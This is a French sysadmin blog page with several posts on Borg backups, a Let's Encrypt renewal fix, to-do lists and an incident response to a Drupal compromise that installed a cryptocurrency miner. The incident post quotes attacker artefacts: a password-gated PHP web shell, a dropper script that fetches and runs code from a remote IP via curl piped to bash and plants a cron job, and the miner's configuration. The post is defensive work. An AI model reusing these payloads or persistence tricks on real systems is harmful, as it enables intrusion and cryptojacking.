Le Blog de Genma

Devenir SysAdmin d'une PME - Les sauvegardes- Billet n°4

jeudi 1 janvier 1970 à 01:00

Ce billet fait partie de la série :
Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0
Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1
Devenir SysAdmin d'une PME - Mineur de bitcoin- Billet n°2
Devenir SysAdmin d'une PME - Accepter de ne pas avoir le contrôle sur tout- Billet n°3

Introduction

Les sauvegardes... Ah les sauvegardes... Depuis que j'ai eu mon premier ordinateur et que j'ai perdu des données, j'ai appris très rapidement à faire des sauvegardes. Car il y a deux types d'administrateurs systèmes "celui qui a déjà fait un rm -rf /* et celui qui le fera".

J'ai écrit quelques billets au cours des années sur ce sujet, pour aider à savoir quoi sauvegarder etc. je vous mets la liste des principaux billets ici :
A.I.2 - Qu'est ce que je dois sauvegarder ?
Sauvegarde la règle des 3-2-1
L'importance des sauvegardes...
Sauvegarde et restauration

Dans ce billet, je voudrais parler de quelques trucs sympa sur les sauvegardes.

Borg pour la sauvegarde des fichiers

Nombreux sont les outils pour les sauvegardes de fichers, des scripts maisons à base de rsync en passant par des outils plus évolués comme Duplicty, Rdiffbackup... Dans un précédent billet, j'évoquais Borg comme outil de sauvegarde. Avec les semaines, je reste persuader et convaincu que Borg est l'outil idéal et permet de faire, d'une façon simple, des sauvegardes des fichiers (on exclue le cas des bases de données qui sera traiter dans un billet ultérieur). Et je ne suis pas le seul à le dire. Cet article Sauvegarder ses machines avec Borg et Backupninja présente par exemple les avantages de Borg Contrairement à rdiff-backup qui a un algorithme basé sur rsync et fonctionne par incrémentation de version en version (ce qui interdit notamment de supprimer une version intermédiaire), BorgBackup utilise une technique de déduplication de morceaux (chunks). Au lieu de travailler par fichiers, il concatène (et compresse) tout ce qu'il y a à sauvegarder, pour le stocker par morceaux de 50Mo. Sans rentrer dans les détails, les intérêts sont multiples...

Le but de cette partie n'est pas de faire un tutoriel sur Borg, mais de parler de mon retour d'expérience sur le sujet en quelques mots. Je l'utilise au quotidien pour mes sauvegardes de mon poste professionnel mais également pour différents serveurs. C'est rapide, simple et efficace, pour gérer des sauvegardes de plusieurs gigas en sauvegarde chaque jour (avec peu de fichiers modifiés), ça prends quelques dizaines de secondes. Pour le cas des serveurs, j'ai mis en place un script shell on ne peut plus basique, qui fait appel à Borg. Un script du type de celui-ci est placé en tâche cron lancé chaque nuit. Si besoin, l'avantage de Borg est que l'on peut même faire une tâche cron qui se lance toutes les heures pour avoir une sauvegarde des fichiers toutes les heures. Ca ne prendra pas beaucoup de place et on aura toutes les sauvegardes dont on pourrait avoir besoin...

# on se place dans le répertoire ou l'on veut sauvegarder, qui est un montage d'un espace de stockage dédié partagé par SSH, monté en SSHFS
 cd /Backup
 # on lance la sauvegarde par borg qui s'effectue par un incrémental
 borg create -v --stats ./::`date +%Y-%m-%d-%H:%m:%S` /le_dossier_a_sauvegarder --show-rc -v >> /tmp/mailreport.txt 2>&1
 
 # Purge des anciennes sauvegardes, on garde sur 7 jours, 1 par semaine pendant 4 semaine, 1 par an
 borg prune -v --list --keep-daily=7 --keep-weekly=4 --keep-monthly=-12 .
 
 # Pur avoir la liste des sauvegardes dans le mail de rapport de la sauvegarde
 echo -e "Liste des Sauvegardes\n" >> /tmp/mailreport.txt
 borg list . >> /tmp/mailreport.txt
 
 # envoie du rapport par courriel
 sendemail -f expediteur@domaine.com -u "Sauvegarde du serveur XXXX - Daily Report" -t destinataire@domaine.com -s smtp.domaine.com -o message-file=/tmp/mailreport.txt

Pour répondre à la règle des 3, 2, 1, il faut donc avoir une copie externalisée qui est une copie / réplication de l'espace de stockage qui reçoit toutes les sauvegardes. A voir ce que l'on met en place : disque répliqué à l'identique, service de stockage haute-disponibilité...

Sauvegarde de la configuration

Pour l'instant, ce que je fais, c'est un export via Scp de tout /etc des différents serveurs avec la remontée des fichiers de configuration dans un dossier nommé selon le serveur dans un projet dédié dans un Gitlab. Ca se scripte assez bien pour avoir le scp, un git commit... Je fais au plus facile pour l'instant mais je pense. Pourquoi pas Borg ? Car git permet d'avoir l'historique et de comparer facilement les fichiers là où Borg permet de conserver l'ensemble d'une arborescence à un instant t, une sorte de snapshot, mais il faudrait montrer plusieurs sauvegardes pour faire les comparaisons fichier à fichier..

Je réfléchis à la mise en place d'un outil comme Etckeeper pour avoir une autre automatisation, il faut encore que j'étudie ça.
etckeeper est un système conçu pour suivre la configuration d'une machine (répertoire /etc, d'où le nom) à l'aide d'un gestionnaire de versions(par exemple Git).
Deux tutoriaux sur le sujet :
Etckeeper sur le site de l'association Grenode
Etckeeper sur le blog Syloe.com

Sauvegarde des bases de données

Du classique, un script, une tâche cron pour faire un export Dump sur un espace de stockage... Je pense que je développerai ce sujet dans un billet une prochaine fois.

Une sauvegarde complète (un snapshot par exemple pour une VM) et des sauvegardes régulières des éléments changeants

Snapshots

Dans mon billet Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1, je parlais de machines virtuelles sur des hyperviseurs. Je gère ces machines virtuelles comme des serveurs et j'applique donc au fur et à mesure l'homogénéisation de la sauvegarde en mettant Borg en place partout.
Il est important de pouvoir remonter rapidement un service et avec une V.M., c'est assez simple. Un snapshot régulier (je travaille à scripter l'automatisation et la rotation de ces snapshots sur Xen, je ferai un billet sur le sujet), le delta de la VM correspondant à ce qui est sauvegarder de façon journalière. Je n'ai donc qu'à restaurer la VM, à réappliquer les mises à jours de l'OS, éventuellement restaurer les données et les fichiers de configuration et tout est bon.

A noter que je ne considère pas le snapshot comme une sauvegarde mais comme un complément de sauvegarde. Le snapshot ne suffit pas comme la sauvegarde ne suffit pas. Si il faut réinstaller tout une machine avec tous les services... Quoiqu'avec le tournant qu'apporte le Devops et la gestion en mode PAAS, la création de VM à la demande et l'industrialisation à venir... Bref, encore plein d'autres sujets à aborder dans les prochaines semaines et prochains mois... A suivre.

Devenir SysAdmin d'une PME - Accepter de ne pas avoir le contrôle sur tout- Billet n°3

jeudi 1 janvier 1970 à 01:00

Nouveau billet de la série Devenir SysAdmin d'une PME avec cette fois ci un billet de réflexion autour du sujet du contrôle et de la maîtrise et plus exactement sur le fait d'accepter de ne pas avoir le contrôle sur tout.

A la mi-mars, j'écrivais deux billets assez intimistes à savoir Le métier passion et Tout intellectualiser, dans lesquels j'évoquais le travers dans lequel j'étais tombé de part avoir (enfin) un métier que j'aime et la volonté de vouloir toujours plus de contrôle...

Dans les semaines qui ont suivies, j'ai pris du recul, réfléchit et j'apprends peu à peu à accepter qu'on ne peut pas avoir le contrôle sur tout. Comme indiqué avec le début de la série de billet Devenir SysAdmin d'une PME, je suis en pleine restructuration de l'infrastructure en commençant par l'appropriation de cette dernière, la gestion de la documentation pour me permettre l'appropriation des différentes strates et couches accumulées au cours des années par différents administrateurs systèmes. Avant de pouvoir passer à une phase d'homogénéisation permettant alors une industrialisation de le gestion de tout le S.I., il y a la compréhension de ce dernier, la gestion du legacy, la gestion des incidents de sécuritépar méconnaissance de l'existence de ce site Drupal planqué dans un coin)...

Accepter de ne pas avoir le contrôle sur tout, c'est accepter que l'on a encore beaucoup de travail à faire avec la gestion du legacy. Et qu'un incident interviendra forcément sur quelque chose que l'on a pas encore eu le temps de documenter ou de revoir la documentation si celle-ci est déjà existante. Il y aura forcément, dans un coin, le serveur qui marche et que tout le monde a oublié avec un mot de passe que personne ne connaît plus... Jusque ce qu'il y ait un soucis (un disque qui ne répond plus ou autre) et que soudain, cela devienne une priorité.

Idem pour les sauvegardes. Je dois faire un billet dédié sur la mise en place des sauvegardes avec Borg (que je ne peux que conseiller et tous les retours que j'en ai des personnes qui ont suivi ce conseil me conforte dans le fait d'avoir moi-même suivi le conseil d'utiliser Borg. Les sysadmin, une grande famille qui partage les bonnes astuces). Je pars du principe que si je ne sais pas, ça n'existe pas.

Il y a très certainement des sauvegardes automatisées et tout marche. Mais comme dans tout legacy, il y a différents outils, mis en place au fur et à mesure. Je pars du principe que si je ne sais pas (encore) comment ça marche et surtout si je n'ai pas testé la restauration de la sauvegarde, ça n'existe pas. C'est très direct. Mais au moins ça donne un bon aperçu de la réalité : le moment où j'aurai besoin de cette sauvegarde, ce sera forcément dans un moment d'urgence. Si je ne sais pas comment ça marche et comment restaurer, cela revient à ne pas avoir de sauvegarde d'une certaine façon. Accepter de ne pas avoir le contrôle sur tout, c'est accepter que pour l'instant, tout n'est pas industrialiser au niveau des sauvegardes, que tout n'est pas sous contrôle...

De même, dans le cadre de la sécurité et de la gestion des PC des collaborateurs. Beaucoup d'entreprise font le choix de verrouiller au maximum les PC en limitant les droits, les applications installées, en mettant des proxys... Une autre façon de faire et de sécuriser le S.I. et d'accepter le BYOD et de responsabiliser les collaborateur.trice.s. L'entreprise dans laquelle je suis, je l'ai choisi sur de nombreux critères dont le fait que l'on soit Administrateur de sa machine. Le fait que l'on soit sous un O.S. GNU/Linux (distribution de son choix) limite grandement les risques de sécurité classique liés aux postes sous Windows (virus, spyware...) tout comme le fait d'avoir des colloborateur.trice.s geek, utilisateur.trice.s avancé.e.s ayant par conséquence des notions plus élevés que la moyenne des bonnes pratiques de l'hygiène numérique. Un exemple est la facilité que j'ai à imposer l'usage de Keepass vu que beaucoup l'utilisent déjà par défaut.

Toutefois, je sais bien qu'un tas de fichiers sont créés sur lei postes utilisateurs... Et avec la mise en application du RGPD, il y a eu des nouvelles sessions de formation et de sensibilisation de faite et des sessions à faire et refaire, aux nouveaux arrivants, en rappel... De même, trop nombreuses restent encore les personnes qui ignorent que Firefox stocke les données du profil en clair sur le disque, et que l'OS a beau avoir un mot de passe, l'intégralité du contenu du disque est accessible via un live usb. Dans ce cas, seule solution : le chiffrement du poste. Là, encore, accepte-t-on de ne pas avoir la phrase de passe ?

Autre cas, la gestion des tickets, des demandes etc. Là encore, il faut accepter de déléguer, en donnant des consignes strictes sur la qualité de la documentation mise en place, sur l'enrichissement et le maintient de cette dernière. On ne peut pas tout faire et il faut donc accepter de ne pas avoir le contrôle sur tout. Mais ce n'est pas une raison pour que l'on ait le contrôle sur rien ;)

Lifehacking et todo liste papier

jeudi 1 janvier 1970 à 01:00

J'ai utilisé différentes formes de todo-liste (de la feuille de tableur avec des colonnes à des listes papiers en passant par des kanban physiques...) et actuellement, j'ai deux types de todo-listes :
Gitlab et son kanban avec un kanban dédié par projet. Je mets des actions qui seront à faire dans les prochains jours, semaines voir mois, pour chaque projet, chantier ou service que je gère. De temps en temps, je fais du tri, je nettoie, j'anote les tickets du Kanban (en ajoutant des liens vers la documentation du wiki quand elle a été rédigée depuis la saisie du ticket par exemple. Voir mon article Lifehacking - Gitlab, outil idéal ?
une todo-liste papier, dans un cahier. Je prends des notes, je surligne avec des couleurs, je griffone, je raye. Je n'applique pas le conseil de Makoto pour les todo-listes mais je déchire les pages du cahier régulièrement, je réécrie les actions non encore faites (en en faisant le tri si besoin) sur une nouvelle page et je raye l'action précédente. Une fois que toute la page est raturée, je la jette. J'ai une todo-liste à jour et propre.

Réécrire mes actions dans une sorte de nouvelle todo liste, le fait de refaire une nouvelle todo liste à partir d'une todo existante (au sein de laquelle je raye donc ce qui a déjà été fait ou ce qui a été reporté et qui reste à faire) permet de mémoriser les actions à faire. La réécriture des actions me permet de voir si j'ai bien toutes les informations nécessaires pour faire cette action ultérieurement. Je peux aussi faire l'action dans la foulée, au lieu de la réécrire, appliquant ainsi un des préceptes de GTD Getting Things Done : chaque tache qui prend moins de 5 minutes est réalisée de suite, sinon elle est planifiée ou remise à plus tard, dans une "todo".

Pour les tickets Gitlab, je n'hésite pas à réécrire / renommer les tâches pour qu'elle soient plus explicites, ce qui est une forme de réécriture d'une certaine façon.

Le fait d'avoir une todo à jour, réécrite, me permet de rien oublier, de ne pas avoir à mémoriser et à m'encombrer l'esprit avec tout une série de tâches pour lesquelles je pourrais me pencher dessus le moment venu.

Yunohost, Let's Encrypt - Soucis de renouvellement automatique pour un sous-domaines

jeudi 1 janvier 1970 à 01:00

J'aime bien avoir des sous-domaines thématiques et une application installé à la racine de sous domaine. Exemple cloud.toto.com avec Nextcloud à la racine (accessible via cloud.toto.com), rss.toto.com... Sur chacun de sous-domaines j'ai activé les certificats Let's Encrypt (fonctionnalité inclue par défaut dans l'interface d'administration des domaines de Yunohost).

J'avais un soucis de renouvellement automatique d'un certificat Let's Encrypt d'un sous-domaine qui arrivait à expiration, signalé par mail via la tâche cron qui gère ce renouvellement.

J'ai tenté via l'interface de renouveler le certificat ( Accueil > Domaines > status.toto.com > Certificat) et j'ai eu l'erreur du type

Wrote file to /tmp/acme-challenge-public/MtjRxzsCW2l5NCj7Y-vfMoIviNHmtxv0eJp1FS9kuaw, but couldn't download http://
 status.toto.com/.well-known/acme-challenge/MtjRxzsCW2l5NCj7Y-vfMoIviNHmtxv0eJp1FS9kuaw

L'application installée (Cachet) était à la racine du domaine status.toto.com

Depuis la gestion de l'application dans la partie administration de Yunohost, j'ai migré l'application vers /cachet (Applications > Cachet > Changer l'URL)

J'ai alors relancé le renouvellement du Certificat depuis l'interface d'administration (clic sur le bouton "Renouveler manuellement maintenant).

Ça a marché !

J'ai rechangé l'url de l'application Cachet pour qu'elle soit de nouveau vers /, l'application Cachet est donc à la racine du domaine status.toto.com et la seule application du sous-domaine. Et le certificat pour le domaine status.toto.com est bon pour 89 jours...

A voir si lors de l'arrivée de la prochaine expiration du certificat pour ce sous-domaine je dois faire la même chose...

A noter que pour d'autres sous-domaines plus anciens ayant eux aussi des applications installées à la racine du sous-domaine (du coup une seule application par sous-domaine), je n'ai pas de soucis de renouvellement automatisé. A creuser via les logs à l'occasion.

Devenir SysAdmin d'une PME - Mineur de bitcoin- Billet n°2

jeudi 1 janvier 1970 à 01:00

Ce billet fait partie de la série :
Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0

Comme le disait SebOS666 dans son billet Décoder un script PHP malveillant, comment s'en protéger, les failles Drupal récentes (Drupalgeddon) étaient bien critiques et les sites non mis à jour ont conduits à l'infection de serveurs par des mineurs de bitcoin.

Attention :
je ne suis pas expert en sécurité, juste un sysadmin ayant un peu d'expérience. Et je suis preneur de tout complément d'information dans les commentaires. J'ai gardé les codes sources exactes, j'ai anonymisées certaines parties pour des raisons pratiques. Ce billet synthétise deux attaques différentes.
le but ici n'est pas d'analyser le problème Drupal (on est plus dans le domaine de la sécurité) que de montrer qu'en tant que sysadmin, on peut déjà faire des choses... Et la partie "PHP / Faille Drupal" est volontairement vide.

Mineur de bitcoin Détection & Root Cause

Détection : la supervision montre des graphs anormaux de charge processeur sur une machine qui héberge un site web.
Une connexion SSH permet de lancer un htop qui donne un processus qui tourne à 100% depuis un moment...

Cause : exploitation d'une faille du site sous Drupal qui n'est pas dans la toute dernière version.

Analyse des processus

Via htop on a processus chron-34e2fg qui tourne un fond. Et on a son PID

un PID. La commande lsof donne le chemin du programme a la source :

root@machine:~$ lsof -p le_PID
 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
 chron-34e 2059 www-data cwd DIR 202,1 4096 2 /
 chron-34e 2059 www-data txt REG 202,1 2368064 264466 /var/tmp/.jnks/chron-34e2fg
 chron-34e 2059 www-data 0r FIFO 0,8 0t0 478384 pipe
 chron-34e 2059 www-data 1u REG 202,1 46558 395911 /tmp/tmpfW5PPSg
 chron-34e 2059 www-data 2u REG 202,1 46558 395911 /tmp/tmpfW5PPSg
 chron-34e 2059 www-data 3u 0000 0,9 0 1202 anon_inode
 chron-34e 2059 www-data 8u 0000 0,9 0 1202 anon_inode
 chron-34e 2059 www-data 9r CHR 1,3 0t0 1204 /dev/null
 chron-34e 2059 www-data 10u IPv4 479092 0t0 TCP localhost:59304->ip56.ip-217-XXX-XXX.eu:https (ESTABLISHED)

On a tous les processus qui sont derrière ce PID et les fichiers incriminés à supprimer.

Autre cas avec un autre mineur :

root@machine:/# ps -aux |grep sus
 rapport+ 19884 0.1 0.0 178868 944 ? Ssl 06:35 0:00 ./sustes -c config.json -t 1
 
 
 Dans ce cas là, on a un fichier de configuration.
 
 
 Détection des processus et fichiers ouverts par un utilisateur
 
 
 root@machine:/# lsof -u www-data
 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
 sh 5399 www-data cwd DIR 8,1 4096 817666 /var/www/vhosts/monsite.com
 sh 5399 www-data rtd DIR 8,1 4096 2 /
 sh 5399 www-data txt REG 8,1 125400 1088 /bin/dash
 sh 5399 www-data mem REG 8,1 1738176 161 /lib/x86_64-linux-gnu/libc-2.19.so
 sh 5399 www-data mem REG 8,1 140928 158 /lib/x86_64-linux-gnu/ld-2.19.so
 sh 5399 www-data 0r FIFO 0,8 0t0 263035594 pipe
 sh 5399 www-data 1u REG 8,1 0 11993 /tmp/tmpfsy8gCO
 curl 5400 www-data cwd DIR 8,1 4096 817666 /var/www/vhosts/monsite.com
 curl 5400 www-data rtd DIR 8,1 4096 2 /
 curl 5400 www-data txt REG 8,1 182216 307756 /usr/bin/curl


On retrouve la commande curl (cf ci-dessous) et la commande appelant le fichier dans /tmp
Blocage des IP des serveurs extérieurs
Dans les processus on voit donc une connexion sur ip56.ip-217-XXX-XXX.eu
On cherche l'IP derrière cette machine via un simple et bête ping
root@machine:~$ ping ip56.ip-217-XXX-XXX.eu
 PING ip56.ip-217-XXX-XXX.eu (217.182.231.56) 56(84) bytes of data.
 64 bytes from ip56.ip-217-XXX-XXX.eu (217.182.231.56): icmp_req=1 ttl=58 time=13.2 ms
 64 bytes from ip56.ip-217-XXX-XXX.eu (217.182.231.56): icmp_req=2 ttl=58 time=18.9 ms
 ^C
 --- ip56.ip-217-XXX-XXX.eu ping statistics ---
 2 packets transmitted, 2 received, 0% packet loss, time 1001ms
 rtt min/avg/max/mdev = 13.284/16.102/18.920/2.818 ms
Un rapide check sur Internet indique que c'est un noeud d'entrée TOR.
On bannira cette IP.
On regarde le contenu du fichier de configuration
more config.json 
 {
 "algo": "cryptonight", // cryptonight (default) or cryptonight-lite
 "av": 0, // algorithm variation, 0 auto select
 "background": true, // true to run the miner in the background
 "colors": true, // false to disable colored output 
 "cpu-affinity": null, // set process affinity to CPU core(s), mask "0x3" for cores 0 and 1
 "cpu-priority": null, // set process priority (0 idle, 2 normal to 5 highest)
 "donate-level": 1, // donate level, mininum 1%
 "log-file": null, // log all output to a file, example: "c:/some/path/xmrig.log"
 "max-cpu-usage": 95, // maximum CPU usage for automatic mode, usually limiting factor is CPU cache not this option. 
 "print-time": 60, // print hashrate report every N seconds
 "retries": 5, // number of times to retry before switch to backup server
 "retry-pause": 5, // time to pause between retries
 "safe": false, // true to safe adjust threads and av settings for current CPU
 "threads": null, // number of miner threads
 "pools": [
 {
 "url": "158.69.XXXX.XXXX:3333", // URL of mining server
 "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3Ywq", // username for mining server
 "pass": "x", // password for mining server
 "keepalive": true, // send keepalived for prevent timeout (need pool support)
 "nicehash": false // enable nicehash/xmrig-proxy support
 },
 {
 "url": "192.99.XXXX.XXXX:3333", // URL of mining server
 "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqD", // username for mining server
 "pass": "x", // password for mining server
 "keepalive": true, // send keepalived for prevent timeout (need pool support)
 "nicehash": false // enable nicehash/xmrig-proxy support
 },
 {
 "url": "202.144.XXX.XXX:3333", // URL of mining server
 "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfg", // username for mining server
 "pass": "x", // password for mining server
 "keepalive": true, // send keepalived for prevent timeout (need pool support)
 "nicehash": false // enable nicehash/xmrig-proxy support
 }
 ], 
 "api": {
 "port": 0, // port for the miner API https://github.com/xmrig/xmrig/wiki/API
 "access-token": null, // access token for API
 "worker-id": null // custom worker-id for API
 }
 }
On bannira ces IP.
Vérification des connexions réseaux actives
Trois commandes et outils pour voir les connexions actives avant et après le bannissement
netstat -puant
 Nethogs 
 Iftop
qui confirment les connexions aux serveurs.
Bannir les IP
Pour chaque série d'IP, on bannit via iptables
iptables -A INPUT -s 217.182.231.56 -j DROP
 iptables -A OUTPUT -d 217.182.231.56 -j DROP
Connexion sortantes et entrantes bloquées, nettoyage...
Méthode barbare
rm -rf /tmp
 rm -rf /var/tmp
Et on tue les processus liés à www-data
killall -u www-data
Autres fichiers en PHP dans la partie Drupal - site web
Dans le dossier Drupal, on fait du nettoyage de tout ce qui n'est pas lié à Drupal. ON trouve, entre autres des fichiers étranges.
$ ls
 css.php sl.php ifm.php phpminiadmin.php 404.php iindex.php
cat lefichier |base64 -d
 if(isset($_REQUEST['pass']))
 { 
 echo ""; 
 $hash = hash("sha512", $_REQUEST['pass']);
 if($hash == "e7f1b39e46ee003976cecc130362059edd1785e0dd8c6bd02f29d7...")
 { if(isset($_REQUEST['cmd'])) { $cmd = ($_REQUEST['cmd']); system(base64_decode($cmd)); }}
 else echo "gtfo";
 echo "
"; 
 die; 
 }
Pour le reste, je vous renvoie à Décoder un script PHP malveillant, comment s'en protéger, le but ici n'est pas d'analyser le problème Drupal (on est plus dans le domaine de la sécurité) que de montrer qu'en tant que sysadmin, on peut déjà faire des choses...
Les fichiers réapparaissent
Malgré les kill, le processus se relance et les fichiers réapparaissent.
On regarde de nouveau les processus
root@machine:/# ps -aux |grep rapport
 rapport+ 15416 0.0 0.0 4336 764 ? Ss 09:46 0:00 /bin/sh -c curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s
 rapport+ 15418 0.0 0.0 13236 2996 ? S 09:46 0:00 bash -s
 rapport+ 15449 0.0 0.0 5808 692 ? S 09:46 0:00 sleep 3
 root 15595 0.0 0.0 12728 2248 pts/1 S+ 09:46 0:00 grep rapport
 
 root@machine:/# ps -eaf |grep rapport
 rapport+ 16536 16535 0 09:47 ? 00:00:00 /bin/sh -c curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s
 rapport+ 16537 16536 0 09:47 ? 00:00:00 curl -s http://192.99.XXX.XXX:8220/logo9.jpg
 rapport+ 16538 16536 0 09:47 ? 00:00:00 bash -s
 rapport+ 16941 15854 0 09:47 ? 00:00:00 php-fpm: pool monsite.com 
 root 16959 14566 0 09:47 pts/1 00:00:00 grep rapport
 On un curl qui est lancé (qui était masqué).
On récupère le fichier via wget et on regarde son contenu
$ cat logo9.jpg
 #!/bin/sh
 pkill -f 192.99.XXX.XXX
 pkill -f suppoie
 ps aux | grep -vw sustes | awk '{if($3>40.0) print $2}' | while read procid
 do
 kill -9 $procid
 done
 rm -rf /dev/shm/jboss
 ps -fe|grep -w sustes |grep -v grep
 if [ $? -eq 0 ]
 then
 pwd
 else
 crontab -r || true && \
 echo "* * * * * curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s" >> /tmp/cron || true && \
 crontab /tmp/cron || true && \
 rm -rf /tmp/cron || true && \
 curl -o /var/tmp/config.json http://192.99.XXX.XXX:8220/3.json
 curl -o /var/tmp/sustes http://192.99.XXX.XXX:8220/rig
 chmod 777 /var/tmp/sustes
 cd /var/tmp
 proc=`grep -c ^processor /proc/cpuinfo`
 cores=$((($proc+1)/2))
 num=$(($cores*3))
 /sbin/sysctl -w vm.nr_hugepages=`$num`
 nohup ./sustes -c config.json -t `echo $cores` >/dev/null &
 fi
 sleep 3
 echo "runing....."
Un script shell lié à une IP qui n'a rien à voir, qui se masque et qui relance la création des mineurs de bitcoins....
C'est ce processus masqué qui fait revenir les fichiers...
Ban de l'IP
iptables -A INPUT -s 192.99.XXX.XXX -j DROP
 iptables -A OUTPUT -s 192.99.XXX.XXX -j DROP
Nettoyage des tâches cron
Et malrgé tout ça, il y a une relance du processus... Même si les fichiers ne réapparaissent pas.
En effet, l'astuce est qu'il y a des crontab spécifiques aux sites hébergés sont dans /var/spool/cron/crontabs 

Il reste des tâches à nettoyer :
root@machine:/var/spool/cron/crontabs# ls
 www-data
 
 cat www-data
 root@machine:/var/spool/cron/crontabs# cat www-data 
 # DO NOT EDIT THIS FILE - edit the master and reinstall.
 # (/tmp/cron installed on Mon May 21 09:46:01 2018)
 # (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
 * * * * * curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s
Il faut supprimer ces fichiers et tuer tous les processus liés à l'utilisateur
rm /var/spool/cron/crontabs/www-data
 killall -u www-data
Changement des droits de /var/tmp
Par défaut, les droits de /var/tmp était en 777 sur cette machine...
chmod 755 /var/tmp
comme ça le processus lié à l'utilisateur php ne peut plus écrire.
Conclusion
On finit par la mise à jour du serveur. On a alors un site qui peut rester en ligne, le n temps que l'on reparte sur un autre serveur virtuel bien propre sur lequel on restaure la sauvegarde du site, on met à jour, et on bascule. Et on supprime la machine compromise. Sait-on jamais...


      Source : https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Mineur-de-bitcoin-Billet-no2